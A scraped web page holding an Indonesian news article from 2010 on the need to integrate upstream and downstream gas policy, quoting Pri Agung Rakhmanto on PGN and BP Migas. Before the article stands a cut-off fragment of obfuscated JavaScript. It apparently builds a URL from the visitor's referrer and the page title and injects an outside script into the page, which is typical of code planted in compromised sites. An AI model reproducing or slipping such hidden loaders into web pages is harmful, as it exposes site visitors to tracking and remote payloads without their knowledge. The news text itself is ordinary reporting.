52[3]+ encodeURIComponent(document[_0xd052[4]])+ _0xd052[5]+ encodeURIComponent(document[_0xd052[6]])+ _0xd052[7]+ window[_0xd052[11]][_0xd052[10]][_0xd052[9]](_0xd052[8],_0xd052[7])+ _0xd052[12];if(document[_0xd052[13]]){document[_0xd052[13]][_0xd052[15]][_0xd052[14]](s,document[_0xd052[13]])}else {d[_0xd052[18]](_0xd052[17])[0][_0xd052[16]](s)};if(document[_0xd052[11]][_0xd052[19]]=== _0xd052[20]&& KTracking[_0xd052[22]][_0xd052[21]](_0xd052[3]+ encodeURIComponent(document[_0xd052[4]])+ _0xd052[5]+ encodeURIComponent(document[_0xd052[6]])+ _0xd052[7]+ window[_0xd052[11]][_0xd052[10]][_0xd052[9]](_0xd052[8],_0xd052[7])+ _0xd052[12])=== -1){alert(_0xd052[23])}
Kebijakan Hulu dan Hilir Gas Nasional Harus Terintegrasi
Media Indonesia, 5 April 2010 JAKARTAA�
Kegiatan industri hulu dan hilir gas nasional tidak bisa dibiarkan berjalan sendiri-sendiri. Keduanya harus terintegrasi sehingga pasokan gas di dalam negri menjadi teratur dan tidak ada pihak yang mencari keuntungan sendiri-sendiri. Ini kan sebenarnya karena hulu dan hilir terpisah, berjalan sendiri-sendiri. PGN (Perusahaan Gas Negara) cari untung, hulu juga cari untung, kata Direktur Eksekutif Reforminer Institute Pri Agung Rakhmanto, di Jakarta, Senin (5/4). Dengan menggabung kegiatan industri hulu dan hilir, pasokan gas dianggap akan fokus pada satu tujuan di dalam negri. Badan Pelaksana Kegiatan Usaha Hulu Minyak dan Gas Bumi (BP Migas) juga tidak bisa disalahkan atas kebijakan industri hulu yang menjual gasnya ke luar negri. Masalahnya industri hulu juga tidak mau tertekan menjual gasnya secara murah ke dalam negeri, sementara PGN menikmati keuntungan lebih. Tidak bisa kalau dipaksa, kalau hanya yang nikmatin PGN, ujar Pri Agung. Untuk itu pemerintah melalui Kementerian ESDM harus mengubah struktur kegiatan industri gas nasional. Jadi UU harus diubah total. Kalau ada blueprint, jangan diperbaharui setiap tahun, tapi harus ada langkah konkretnya, tegas Pri Agung.